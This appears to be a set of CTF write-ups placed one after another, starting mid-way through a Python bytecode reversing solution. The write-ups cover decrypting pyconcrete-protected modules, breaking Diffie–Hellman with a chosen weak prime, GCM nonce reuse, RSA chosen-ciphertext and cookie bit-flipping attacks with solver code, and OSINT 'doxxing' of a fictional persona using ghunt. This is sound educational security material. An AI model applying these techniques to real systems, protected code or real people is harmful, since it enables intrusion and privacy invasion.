LOAD_NAME (print) 90 LOAD_CONST ('Congratulations') 92 CALL_FUNCTION 1 94 POP_TOP >> 96 LOAD_CONST (None) 98 RETURN_VALUE``` When rewritten in python ("manually decompiled"), the code looks something like this: ```pyimport pyconcreteimport stuffimport sysimport os _ = 358__ = [20, -23488, 85, [...], 61, 204, -220885]___ = [137, 1351, [...], 863, 1827] f = (sys.argv + [''])[1] if stuff._(_, __, ___, f)(f): print("Congratulations")``` We see that stuff._ returns a function that must return True. So let's dig into stuff. ## ??? stuff.pye The stuff is in the form of a pye, which I haven't seen yet. Apparently, it's to do with pyconcrete: > Protect your python script, encrypt .pyc to .pye and decrypt when import it>> Protect python script work flow> --------------> * your_script.py `import pyconcrete`> * pyconcrete will hook import module> * when your script do `import MODULE`, pyconcrete import hook will try to find `MODULE.pye` first> and then decrypt `MODULE.pye` via `_pyconcrete.pyd` and execute decrypted data (as .pyc content)> * encrypt & decrypt secret key record in `_pyconcrete.pyd` (like DLL or SO)> the secret key would be hide in binary code, can't see it directly in HEX view (see https://github.com/Falldog/pyconcrete) Secret key would be hide? Whitebox crypto is notoriously hard (see https://whibox.io/), so I fully expect memecrypto. If we throw the `_pyconcrete.cpython-39-x86_64-linux-gnu.so` into IDA, we see the following snippet: ```C oaes_key_gen_128(v20); if ( dword_9034 ) { dword_9034 = 0; xmmword_9020 = (__int128)_mm_xor_si128(_mm_load_si128((const __m128i *)&xmmword_6910), (__m128i)xmmword_9020); } oaes_key_import_data(v20, &xmmword_9020, 0x10uLL);``` Seems the key is just simply stored in two parts that are xored together :) But I guess if the bar you set for yourself is `can't see it directly in HEX view`, you don't need a lot. Besides, we actually don't have to reverse the encryption, at all. We can just call the "hooks" manually like so: ```pyimport _pyconcrete with open('stuff.pye', 'rb') as f: data = f.read() dec = _pyconcrete.decrypt_buffer(data) with open('stuff.pyc', 'wb') as f: f.write(dec)``` If you run python3.9 and have `_pyconcrete.cpython-39-x86_64-linux-gnu.so` next to this script, running this script you'll get the decrypted module in regular `pyc`. ## ???? stuff.pyc Let's disassemble stuff.pyc. I won't include the full disassembly, but here is the code rewritten in python (I renamed private underscore names to a, b, c, d etc.): ```pyimport randomimport types _____ = lambda: False def _(a, b, c, d): random.seed(sum(d.encode())) random.shuffle(b) j = [] for val in c: f = val h = a for g in "{:b}".format(f)[1:]: if(b[h] >= 0): return _____ if not int(g): h = abs(b[h]) // len(b) else: h = abs(b[h]) % len(b) if b[h] < 0: return _____ j.append(b[h]) return types.FunctionType(types.CodeType(1, 0, 0, 7, 38, 67, bytes(j), (None, 0, True, -1, (1, 0, 0, 1, 0, -1, 1, -1, -1, 0, 0, -1, 0, 0, -1, 1), (1, 1, 1, 0, -1, 0, -1, -1, 1, 1, -1, 1, 0, 0, 0, -1), (0, 0, 1, 0, -1, 1, -1, -1, 0, 0, 1, 1, -1, -1, 0, -1), (0, 1, 0, 1, -1, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, 0), (0, 0, 0, 0, -1, 1, 0, -1, -1, -1, 1, 1, -1, -1, 0, 0), (0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, -1, 1, -1, 0), (-1, 0, -1, 1, 1, 1, -1, 0, 1, -1, -1, 0, -1, 0, 1, 1), (0, 1, -1, 1, 1, 1, 1, 1, -1, 1, -1, 1, 0, 1, -1, 0), (0, 0, 1, 1, -1, 1, -1, 0, 1, 1, -1, 1, 1, 1, -1, -1), (-1, 1, 0, -1, 1, 1, 1, 0, 1, -1, 0, 0, -1, 1, 0, -1), (0, 0, -1, 1, -1, 0, 0, 0, -1, -1, -1, 1, -1, 1, 1, -1), (0, 0, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, 0, 1, 0, 0), (0, -1, 0, 0, -1, -1, -1, -1, -1, 0, -1, 0, -1, 0, 0, -1), (0, -1, 0, -1, 1, 1, 0, 1, -1, 1, 1, 0, 0, 1, -1, -1), (0, 0, 1, -1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, -1), (1, 1, 1, 1, -1, 1, 1, 0, -1, 0, 0, -1, 1, 0, -1, 1), (0, -1, 1, -1, 1, 0, 1, -1, -1, 0, -1, -1, 0, 0, -1, -1), (0, -1, -1, -1, 1, -1, 1, 1, -1, -1, 0, 0, 0, -1, -1, 0), (0, 0, -1, -1, -1, -1, -1, 1, 1, 0, -1, -1, 0, -1, -1, 1), 16, 1, False), ('random', 'zip', 'seed', 'range', 'append', 'randint'), ('f', 'random', '_____', '___', '____', '_', '__'), '', '', 0, b'', (), ()), {'__builtins__', __builtins__})``` The first three arguments to this function are constant, the fourth one is the command-line argument. If something goes wrong, the failure lambda (`_____`) is returned, otherwise `j` is used as bytecode for the returned function. As we can see, from the input only the sum of its bytes is used, and we can probably bruteforce that. Let's use a slightly modified version of this function for this: ```pyimport random a = 358c = [137, 1351, [...] , 863, 1827] def f_(a,_,c,d): #random.seed(sum(d.encode())) b = [20, -23488, [...], 204, -220885] random.seed(d) random.shuffle(b) j = [] for val in c: f = val h = a for g in "{:b}".format(f)[1:]: if(b[h] >= 0): return False if not int(g): h = abs(b[h]) // len(b) else: h = abs(b[h]) % len(b) if b[h] < 0: return False j.append(b[h]) return j for i in range(10000): res = f_(a, None, c, i) if res != False: print(i) print(res)``` ```$ python3 brutesum.py3299[100, 1, 100, 0, 108, 0, 125, 1, 100, 2, 125, 2, 116, 1, 124, 0, 100, 0, 100, 0, 100, 3, 133, 3, 25, 0, 103, 0, 100, 4, 162, 1, 103, 0, 100, 5, 162, 1, 103, 0, 100, 6, 162, 1, 103, 0, 100, 7, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 7, 162, 1, 103, 0, 100, 10, 162, 1, 103, 0, 100, 11, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 12, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 13, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 14, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 6, 162, 1, 103, 0, 100, 15, 162, 1, 103, 0, 100, 15, 162, 1, 103, 0, 100, 16, 162, 1, 103, 0, 100, 17, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 18, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 14, 162, 1, 103, 0, 100, 5, 162, 1, 103, 0, 100, 6, 162, 1, 103, 0, 100, 7, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 19, 162, 1, 103, 0, 100, 20, 162, 1, 103, 0, 100, 5, 162, 1, 103, 0, 100, 21, 162, 1, 103, 0, 100, 22, 162, 1, 103, 35, 131, 2, 68, 0, 93, 68, 92, 2, 125, 3, 125, 4, 124, 1, 160, 2, 124, 3, 161, 1, 1, 0, 103, 0, 125, 5, 116, 3, 100, 23, 131, 1, 68, 0, 93, 24, 125, 6, 124, 5, 160, 4, 124, 1, 160, 5, 100, 3, 100, 24, 161, 2, 161, 1, 1, 0, 144, 1, 113, 16, 124, 5, 124, 4, 107, 3, 114, 242, 100, 25, 125, 2, 113, 242, 124, 2, 83, 0]``` So that gives us the (hopefully) last bytecode to reverse :) ## ????? Decrypted bytecode We can use `xdis` directly to decompile this bytecode: ```pyimport typesfrom xdis.version_info import PYTHON_VERSIONimport xdis j = [100, 1, 100, 0, 108, 0, 125, 1, 100, 2, 125, 2, 116, 1, 124, 0, 100, 0, 100, 0, 100, 3, 133, 3, 25, 0, 103, 0, 100, 4, 162, 1, 103, 0, 100, 5, 162, 1, 103, 0, 100, 6, 162, 1, 103, 0, 100, 7, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 7, 162, 1, 103, 0, 100, 10, 162, 1, 103, 0, 100, 11, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 12, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 13, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 14, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 6, 162, 1, 103, 0, 100, 15, 162, 1, 103, 0, 100, 15, 162, 1, 103, 0, 100, 16, 162, 1, 103, 0, 100, 17, 162, 1, 103, 0, 100, 9, 162, 1, 103, 0, 100, 18, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 14, 162, 1, 103, 0, 100, 5, 162, 1, 103, 0, 100, 6, 162, 1, 103, 0, 100, 7, 162, 1, 103, 0, 100, 8, 162, 1, 103, 0, 100, 19, 162, 1, 103, 0, 100, 20, 162, 1, 103, 0, 100, 5, 162, 1, 103, 0, 100, 21, 162, 1, 103, 0, 100, 22, 162, 1, 103, 35, 131, 2, 68, 0, 93, 68, 92, 2, 125, 3, 125, 4, 124, 1, 160, 2, 124, 3, 161, 1, 1, 0, 103, 0, 125, 5, 116, 3, 100, 23, 131, 1, 68, 0, 93, 24, 125, 6, 124, 5, 160, 4, 124, 1, 160, 5, 100, 3, 100, 24, 161, 2, 161, 1, 1, 0, 144, 1, 113, 16, 124, 5, 124, 4, 107, 3, 114, 242, 100, 25, 125, 2, 113, 242, 124, 2, 83, 0] co = types.CodeType(1, 0, 0, 7, 38, 67, bytes(j), (None, 0, True, -1, (1, 0, 0, 1, 0, -1, 1, -1, -1, 0, 0, -1, 0, 0, -1, 1), (1, 1, 1, 0, -1, 0, -1, -1, 1, 1, -1, 1, 0, 0, 0, -1), (0, 0, 1, 0, -1, 1, -1, -1, 0, 0, 1, 1, -1, -1, 0, -1), (0, 1, 0, 1, -1, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, 0), (0, 0, 0, 0, -1, 1, 0, -1, -1, -1, 1, 1, -1, -1, 0, 0), (0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, -1, 1, -1, 0), (-1, 0, -1, 1, 1, 1, -1, 0, 1, -1, -1, 0, -1, 0, 1, 1), (0, 1, -1, 1, 1, 1, 1, 1, -1, 1, -1, 1, 0, 1, -1, 0), (0, 0, 1, 1, -1, 1, -1, 0, 1, 1, -1, 1, 1, 1, -1, -1), (-1, 1, 0, -1, 1, 1, 1, 0, 1, -1, 0, 0, -1, 1, 0, -1), (0, 0, -1, 1, -1, 0, 0, 0, -1, -1, -1, 1, -1, 1, 1, -1), (0, 0, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, 0, 1, 0, 0), (0, -1, 0, 0, -1, -1, -1, -1, -1, 0, -1, 0, -1, 0, 0, -1), (0, -1, 0, -1, 1, 1, 0, 1, -1, 1, 1, 0, 0, 1, -1, -1), (0, 0, 1, -1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, -1), (1, 1, 1, 1, -1, 1, 1, 0, -1, 0, 0, -1, 1, 0, -1, 1), (0, -1, 1, -1, 1, 0, 1, -1, -1, 0, -1, -1, 0, 0, -1, -1), (0, -1, -1, -1, 1, -1, 1, 1, -1, -1, 0, 0, 0, -1, -1, 0), (0, 0, -1, -1, -1, -1, -1, 1, 1, 0, -1, -1, 0, -1, -1, 1), 16, 1, False), ('random', 'zip', 'seed', 'range', 'append', 'randint'), ('f', 'random', '_____', '___', '____', '_', '__'), '', '', 0, b'', (), ()) xdis.disasm.disco(PYTHON_VERSION, co, 0)``` Again, I'll only provide the code rewritten in python for posterity (with some renames and shortened constant): ```pyimport random def method(f): superarray = [ (1, 0, 0, 1, 0, -1, 1, -1, -1, 0, 0, -1, 0, 0, -1, 1), [...]] (0, 0, -1, -1, -1, -1, -1, 1, 1, 0, -1, -1, 0, -1, -1, 1) ] for (c, nums) in zip(flag[::-1], superarray): result = True random.seed(c) generated = [] for i in range(16): generated.append(random.randint(-1, 1)) if generated != nums: result = False return result``` So, every character of the input is used as a seed, 16 values are generated and then compared to the corresponding superarray tuple. We'll build a dictionary of the resulting tuple for each character and then lookup the superarray values in it and get the flag :) ```pyimport random superarray = [(1, 0, 0, 1, 0, -1, 1, -1, -1, 0, 0, -1, 0, 0, -1, 1),(1, 1, 1, 0, -1, 0, -1, -1, 1, 1, -1, 1, 0, 0, 0, -1),(0, 0, 1, 0, -1, 1, -1, -1, 0, 0, 1, 1, -1, -1, 0, -1),(0, 1, 0, 1, -1, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, 0),(0, 0, 0, 0, -1, 1, 0, -1, -1, -1, 1, 1, -1, -1, 0, 0),(0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, -1, 1, -1, 0),(0, 1, 0, 1, -1, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, 0),(-1, 0, -1, 1, 1, 1, -1, 0, 1, -1, -1, 0, -1, 0, 1, 1),(0, 1, -1, 1, 1, 1, 1, 1, -1, 1, -1, 1, 0, 1, -1, 0),(0, 0, 0, 0, -1, 1, 0, -1, -1, -1, 1, 1, -1, -1, 0, 0),(0, 0, 1, 1, -1, 1, -1, 0, 1, 1, -1, 1, 1, 1, -1, -1),(0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, -1, 1, -1, 0),(-1, 1, 0, -1, 1, 1, 1, 0, 1, -1, 0, 0, -1, 1, 0, -1),(0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, -1, 1, -1, 0),(0, 0, 0, 0, -1, 1, 0, -1, -1, -1, 1, 1, -1, -1, 0, 0),(0, 0, -1, 1, -1, 0, 0, 0, -1, -1, -1, 1, -1, 1, 1, -1),(0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, -1, 1, -1, 0),(0, 0, 1, 0, -1, 1, -1, -1, 0, 0, 1, 1, -1, -1, 0, -1),(0, 0, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, 0, 1, 0, 0),(0, 0, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, 0, 1, 0, 0),(0, -1, 0, 0, -1, -1, -1, -1, -1, 0, -1, 0, -1, 0, 0, -1),(0, -1, 0, -1, 1, 1, 0, 1, -1, 1, 1, 0, 0, 1, -1, -1),(0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, -1, 1, -1, 0),(0, 0, 1, -1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, -1),(0, 0, 0, 0, -1, 1, 0, -1, -1, -1, 1, 1, -1, -1, 0, 0),(0, 0, -1, 1, -1, 0, 0, 0, -1, -1, -1, 1, -1, 1, 1, -1),(1, 1, 1, 0, -1, 0, -1, -1, 1, 1, -1, 1, 0, 0, 0, -1),(0, 0, 1, 0, -1, 1, -1, -1, 0, 0, 1, 1, -1, -1, 0, -1),(0, 1, 0, 1, -1, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, 0),(0, 0, 0, 0, -1, 1, 0, -1, -1, -1, 1, 1, -1, -1, 0, 0),(1, 1, 1, 1, -1, 1, 1, 0, -1, 0, 0, -1, 1, 0, -1, 1),(0, -1, 1, -1, 1, 0, 1, -1, -1, 0, -1, -1, 0, 0, -1, -1),(1, 1, 1, 0, -1, 0, -1, -1, 1, 1, -1, 1, 0, 0, 0, -1),(0, -1, -1, -1, 1, -1, 1, 1, -1, -1, 0, 0, 0, -1, -1, 0),(0, 0, -1, -1, -1, -1, -1, 1, 1, 0, -1, -1, 0, -1, -1, 1)] dicted = {} for i in range(127): random.seed(chr(i)) tmp = [] for j in range(16): tmp.append(random.randint(-1, 1)) dicted[tuple(tmp)] = i out = ''for arr in superarray: out += chr(dicted[arr])print(out[::-1])``` ## ?????? Flag```$ python3 inner.pyictf{n3st1ng_d0lls_1n_4_5nak3_n3st}```
We are allowed to control DHKE's prime number `p`. It is known that if `p` is weak (`p - 1` consists of small factors), we can easily solve discrete log problem using Pohlig–Hellman algorithm. Here's [the code](https://github.com/CTF-STeam/ctf-writeups/blob/master/2021/UIUCTF/dhkeadv_primegen.py) I used to generate weak prime number:```pythonwhile True: p = 2 while p.bit_length() < 1024: p *= getPrime(16) if p.bit_length() < 2048: p = p + 1 if isPrime(p): print(p) break else: print('Failed')``` Now use the prime generated to [break the key exchange and recover the flag](https://github.com/CTF-STeam/ctf-writeups/blob/master/2021/UIUCTF/dhkeadv_solve.sage):```pythonfrom binascii import unhexlifyfrom Crypto.Cipher import AESfrom hashlib import sha256 p = 13235062921662694429211184891220141973285969028958016790661658609292023032453887458389574420664371217218833375173082540739555090686687826551693380798574629365254210787419070348340076227508521415632755789594367616391764583712987637766374230688082101873347891400341145784790200266806419168972691757367828474132879g = 2 # dio = pow(g,a,p)dio = 3792084934906248564383234181650035598772615324676195889910857921102049947444713668894077270359500041848160892283875666632138773227678174413239166356643157564701755290320942846789533398104751824380490988637885367504561459997920826443858290627891230160540485823054473058723700613322991694411069864630317229002911# jotaro = pow(g,b,p)jotaro = 1264790617152365852095129131541764881757215378660064894337475150769922800524031374528216985077846999998895522436779903552749896067733534664389692778794818553787963498827277500298297339946818247400174112120794559981652711640384257027450857601018904217492079212562792889181540706049350288847341968603810689566739 ct = 'a7a7cb1f26d3d2770f82d5fb45710ed4519ba04dd7ec5950ba8f2b4a9e013a194b265ba3233e5d288702'ct = unhexlify(ct) F = IntegerModRing(p) a = discrete_log(F(dio), F(g))print(a) key = pow(jotaro, a, p)key = sha256(str(key).encode()).digest() iv = b'uiuctf2021uiuctf'cipher = AES.new(key, AES.MODE_CFB, iv)pt = cipher.decrypt(ct)print(pt)``` Flag: `uiuctf{give_me_chocolate_every_day_7b8b06}`
# Unidentifi3d Flying Object## Printer ### After looking at the gocde content,we find some useful information in the end of the file.``` ;SETTING_3 {"global_quality": "[general]\\nversion = 4\\nname = Extra Fast #2\\n;SETTING_3 definition = geeetech_A10M\\n\\n[metadata]\\ntype = quality_changes\\;SETTING_3 nsetting_version = 16\\nquality_type = verydraft\\n\\n[values]\\nsupp``` ### We know that geeetech A10M is a printer,and it's the flag.flag : geeetech A10M## Layer by Layer### Look at the [document](https://en.wikipedia.org/wiki/G-code),we know that gcode is a language that is telling the machine tool what type of action to perform. So I use [Ultimaker Cura 4.10](https://ultimaker.com/software/ultimaker-cura) to view the file.![](https://i.imgur.com/MxGNthf.png "")### Notice the name of the challenge, we can use Cura to look at every layer seperately.![](https://i.imgur.com/Fl8P9tC.png "")## There is the flagflag : CTF{flying_saucer}
The program reuse the nonce for every message so it leaks the plain text (GCM use CTR for encryption so this is the same weakness as CTR). As we have an encryption oracle we just have to encrypt a message long enough and then xor with the flag. ```flag = xor(known_plaintext, xor(encrypted_text, encrypted_flag))``` The flag is `CCTF{____w0lveS____c4n____be____dan9er0uS____t0____p3oplE____!!!!!!}`
# Chaplin's PR Nightmare 6Solved By: RJCyber ## Description:Wow Charlie even set up a linkedin account, but not well it is kind of a mess. Is the PR nightmare here?? The inner content of this flag begins with "pr" ## How to "Capture the Flag":If we take a look at the website (from the previous Chaplin's PR Nightmare challenges): https://www.charliechaplin.dev/, we see that the "Contact" page says this, "You can also find us on Linkedin, but you will have to search for us I forget what our name is, either like "Charlie Chaplin Coding or Development" or "C3D" something like that." Using this as a hint, we find that his LinkedIn account is https://www.linkedin.com/in/charlie-chaplin-dev/. Then, we scroll down and see that he had an event called "Top Hat Development Night." After creating a personal LinkedIn account, we are able to search this event up. The page of the event (https://www.linkedin.com/events/6822753659445743616/) contains the flag. # Flag:```uiuctf{pr0f3s5iOn@l_bUs1n3sS_envIroNm3n7}```
# Chaplin's PR Nightmare 8Solved By: RJCyber ## Description:Straightup doxx Charlie by finding the email he set all these accounts up with, and investigate it. The inner content of this flag begins with "b0" ## How to "Capture the Flag":Using the GitHub found in Chaplin's PR Nightmare 7, we can find Charlie's email by looking into the C3D-Official repository (https://github.com/charliechaplindev/C3D-Official). By looking at the commit history of this repository (https://github.com/charliechaplindev/C3D-Official/commits?author=charliechaplindev&since=2021-07-01&until=2021-08-01), we can see that there is a deleted file called security.txt (https://github.com/charliechaplindev/C3D-Official/commit/ce81ede5ab18b6f4ca32ace4359c5570954dfc9b). By loading the diff of this deleted file, we get Charlie's email ([email protected]). Then, by taking a closer look at the description, we see that we are supposed to doxx Charlie for the flag. Then, we come up with this command (using his email): ```python3 ghunt.py email [email protected]```. We can see here that there is an image, which displays the flag. ![osint8](https://user-images.githubusercontent.com/86359182/127911773-8bb371f6-d5a0-41f1-a464-20ba2d447a04.png) # Flag:```uiuctf{b0rk_b0rk_1_l0v3_my_d0g<3}```
# OSINT The CreatorSolved By RJCyber ## DescriptionThere is a flag on a few of the organizer's profiles. Find it! ## How to "Capture the Flag"The flag can be found on a few of the organizer's discord profiles. For example, Thomas (sonicninja#2238) has the flag on the "About Me" section of his profile. ## Flag```uiuctf{@b0uT_m3_suppOrT5_maRkD0wN}```
# Welcome to UIUCTF'21Solved By: RJCyber # Description:Welcome to UIUCTF'21! Your flag can be found on this very page. # How to "Capture the Flag":The description says that the flag can be found on the register/login page of the website. If we take a close look at the background, we can see that the flag is located at the bottom of the page. # Flag:```uiuctf{secret_pictures}```
# hvhpgs{synt}Solved By: RJCyber # Description:CS1 ciphers go brrrrrAttachment: https://uiuc.tf/files/7702cafa765d3b0197d7b9a084393d40/chal?token=eyJ1c2VyX2lkIjoyNDAsInRlYW1faWQiOjI2LCJmaWxlX2lkIjozOX0.YQgUlg._uXiJIBCynikh3OynqDRY0Lde60 # How to "Capture the Flag":After downloading the file provided in the description, we can run the command ```strings chal | grep flag```. By doing this, we can see that the flag is encrypted in Caeser Cipher (by the shift of 12): ```azeupqd_ftq_cgqefuaz_omz_ymotuzqe_ftuzwu_bdabaeq_fa_o```. By decrypting this, we get: ```onsider_the_question_can_machines_thinki_propose_to_c```. We can break this up into two parts (```onsider_the_question_can_machines_think``` and ```i_propose_to_c```). By putting the second part in front of the first part, we get the flag. # Flag:```uiuctf{i_propose_to_consider_the_question_can_machines_think}```
**Full write-up:** https://www.sebven.com/ctf/2021/08/03/ImaginaryCTF2021-Cookie-Stream.html Web – 150 pts (86 solves) – Chall author: Eth007 A classic example of how not to use a cookie-based login system for your webpage, how not to hash stored passwords, and how not to create passwords to begin with… A singular un-salted hashed password is easy to recognise and reverse. Being able to login succesfully to a non-admin account we steal its cookie and bit-flip our way to the admin page!
# UIUCTF: PHPFUCK ![date](https://img.shields.io/badge/date-08.01.2021-brightgreen.svg) ![solved in time of CTF](https://img.shields.io/badge/solved-in%20time%20of%20CTF-brightgreen.svg) ![warmup category](https://img.shields.io/badge/category-jail-lightgrey.svg)![score](https://img.shields.io/badge/score-50-blue.svg)![solves](https://img.shields.io/badge/solves-237-brightgreen.svg) ## Descriptioni hate php http://phpfuck.chal.uiuc.tf author: arxenix ## Tags**Jail**, **PHP**, **Beginner** ## Attached files- None ## SummaryFlag is found within the “flag.php” file on the website. (View Source) ## Flag```uiuctf{pl3as3_n0_m0rE_pHpee}``` ## Detailed solutionConnecting to their website, we can see this website is running PHP Version 7.4.3. ![Root](https://raw.githubusercontent.com/Diplodongus/CTFs/main/UIUCTF2021/img/PHPFUCK/1-root.png?raw=true "Root of website given") Furthermore, it is commented at the top that “Flag is inside ./flag.php” When we try to navigate to /flag.php, we just see “No flag for you!” ![Flag.php](https://raw.githubusercontent.com/Diplodongus/CTFs/main/UIUCTF2021/img/PHPFUCK/2-flag.php.png?raw=true "Flag.php page") If we inspect the source of this page (**CTRL+U**), we are greeted with the flag. ![Final Flag](https://raw.githubusercontent.com/Diplodongus/CTFs/main/UIUCTF2021/img/PHPFUCK/3-flag.png?raw=true "Final Flag") This was the easy version of phpfuck_fixed.
[Link to original writeup](https://wrecktheline.com/writeups/imaginary-2021/#zkpod) # ZKPoD (19 Solves, 400 points) By Qyn ```Pointing at a butterfly Is this a zero knowledge proof of decryption?``` We're given an oracle which implements a combination of `DSA` and `RSA`. Initially, we're given the encrypted flag and we can provide encrypted data to the oracle which signs it for us, we can also note that we can maybe use a `chosen ciphertext` attack. For the signing part, it generates a random integer `k` in range, `0, P-1`. It then calculates `r = g^k mod P` and `s = k - x * e (mod P - 1)`, where `e` is more or less random and we're given `r` and `s`. We can notice that we can actually calculate: ```rs = r^(-s)rs = r^(-k + x * e)rs = g^(k - k + x * e)rs = g^(x * e)``` Because `s` is done `mod P - 1` _From here we could calculate `g^x`, but since `P - 1 % 2 == 0` and so `gcd(e, P-1)`, is most likely not `1`, we'd have to do 4 times as many requests._ Now we're going to apply the `RSA chosen ciphertext` attack. Suppose we send `ct * 2^e`, when this is decrypted, it will result in `pt * 2`. However, this is maybe done `mod N` if `pt * 2 > N`. We also send `ct` which is decrypted normally into `pt`, not done `mod N`. In the end, what we will receive is: ```rs_1 = g^((2 * pt mod N) * e_1)rs_2 = g^(pt * e_2)``` To equalize we can calculate `rs_1 = rs_1^(e_2)` and `rs_2 = rs_2^(2 * e_1)`. Now we have the following two equations: ```rs_1 = g^((2 * pt mod N) * e_1 * e_2)rs_2 = g^(2 * pt * e_1 * e_2)``` Now we can notice a difference if `2 * pt > N` since the exponent is done `mod phiN` and not `mod N`. From here we can find the flag using a binary search, normally in RSA if `2 * pt > N`, then it will return an uneven number since `N` is odd, however, when `2 * pt < N`, it will return an even number because of the multiplication by `2`. We can also notice this difference in our algorithm if `rs_1 != rs_2`. We can repeat this with factors of `2`. Generally: ```pyif rs_1 == rs_2: UB = (UB + LB) // 2else: LB = (UB + LB) // 2``` And: ```rs_1 = g^((2^i * pt mod N) * e_1 * e_2)rs_2 = g^(2^i * pt * e_1 * e_2)``` To speed up the search, we don't need to request `rs_1` and `rs_2` for every iteration, but rather set `rs_2 = rs_1` at the end of every iteration and do `rs_2 = rs_2^2` And running the exploit will give us the flag: `ictf{gr0up5_should_b3_pr1me_0rd3r_dummy}` _Another method_ During the CTF, the flag didn't make much sense, but instead hinted towards `Pohlig-Hellman`. However, `P - 1` isn't smooth enough to calculate `k`, but since it's partially smooth, we can calculate `k mod n` and from there we can calculate `x mod n`. From a _partial_ `Pohlig-Hellman` algorithm (See `solve2.py` for the algorithm), we can derive `k mod 83675832665710`. From here we can solve for `x` in the equation for `s`: ```s = k - x * e mod P_1s + x * e = k mod P_1x * e = k - s mod P_1x = (k - s) * e^(-1) mod P_1``` Where we can fill in for `k`: ```x = ((k mod 83675832665710) - s) * e^(-1) mod P_1P_2 = 83675832665710x = (k - s) * e^(-1) mod P_2``` And from here all the values are known and we can perform a the same binary search as in `method 1`, note that we can find the flag faster using this method, since we know `x mod P_2` and therefore we should be able to find `x` in 45 queries.And also this will give the flag:`ictf{gr0up5_should_b3_pr1me_0rd3r_dummy}`
# Rima - cryptoCTF2021 - Category: Crypto- Points: 56- Solves: 93- Solved by: drw0if, RxThorn ## Description Sequences are known to be good solutions, but are they good problems? ## Solution In this challenge we were given 3 files:- rima.py: the encryption algorithm- g.enc: some binary encrypted stuff- h.enc: some binary encrypted stuff The encryption algorithm starts by getting the flag and parsing bit by bit. The result is the array `f`.Then we insert a `0` element at the beginning of the list, this adjustment makes the array length a multiple of 8: since the first character of the flag is `C` it is parsed into only 7 bit, adding one we reach the 8 bit for each digit. Then some additions, then we extract two adjacent prime numbers greater than the length of the list. This esoteric python line:```pythong, h = [[_ for i in range(x) for _ in f] for x in [a, b]]```can be rewritten as:```pythong = f * ah = f * b``` Finally we extract another prime number and make some more insertion and additions.In the end we convert each digit in the string representation, join the strings all togheter and parse the string as a base 5 number.The number is then converted in a byte string and it is written to the two files. The function `nextPrime(n)` search for the first prime greater than `n` so given the same `n` the result will always be the same.Thus if we know the length of `f` we can recover all the prime numbers and invert the encryption. Mine approach was to brute-force the length of the flag and thus the length of `f` and attempt the decryption, luckily we get the flag. Another approach (thanks to RxThorn) was to calculate the flag length (indeed 32) and then apply the inverse function. ```CCTF{_how_finD_7h1s_1z_s3cr3T?!}```
# UIUCTF 2021 - Emote (Beginner) Writeup* Type - Miscellaneous* Name - Emote* Points - 50 ## Description```recently i've been converting strings into images for funsies and staring at them. anytime time to go share those images with my friends in discord! warning: staring at noise in visual form may or may not introduce you to the abyss author: ian5v``` ## WriteupThe first clue as to what to look for is ian's comment about Discord! Then, once you hop into any major channel, you'll see an encoded image posted all over the place (see below). ![](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/emote/discordChat.png) If you right click on the image, you can save it. When you open it up, you'll see a 16 pixel x 16 pixel image of black and white squares. My first thought was that it was some sort of QR code challenge (trust me, I've decoded a QR code by hand before and it is not something I would fancy doing again!), but there just seemed to be too few pixels for that. ![](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/emote/emote.png) As I kept studying it, I realized that the image was split vertically into two even halves, and each half had one black, vertical strip, followed by a white, vertical strip. I suddenly remembered that ASCII characters usually start with `01`, and realized it was probably just a picture of binary characters, two-wide. So each row contains two ASCII characters encoded in binary! ![](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/emote/emote_separated.png) You can use a program [like dcode's](https://www.dcode.fr/binary-image) to convert the image to binary, and then convert the binary to ASCII and voila! You'll get the flag! **Flag:** `uiuctf{staring_at_pixels_is_fun}` ## Real-World ApplicationIt's important to become familiar with all types of encoding and being able to recognize binary and ASCII characters makes things so much more efficient!
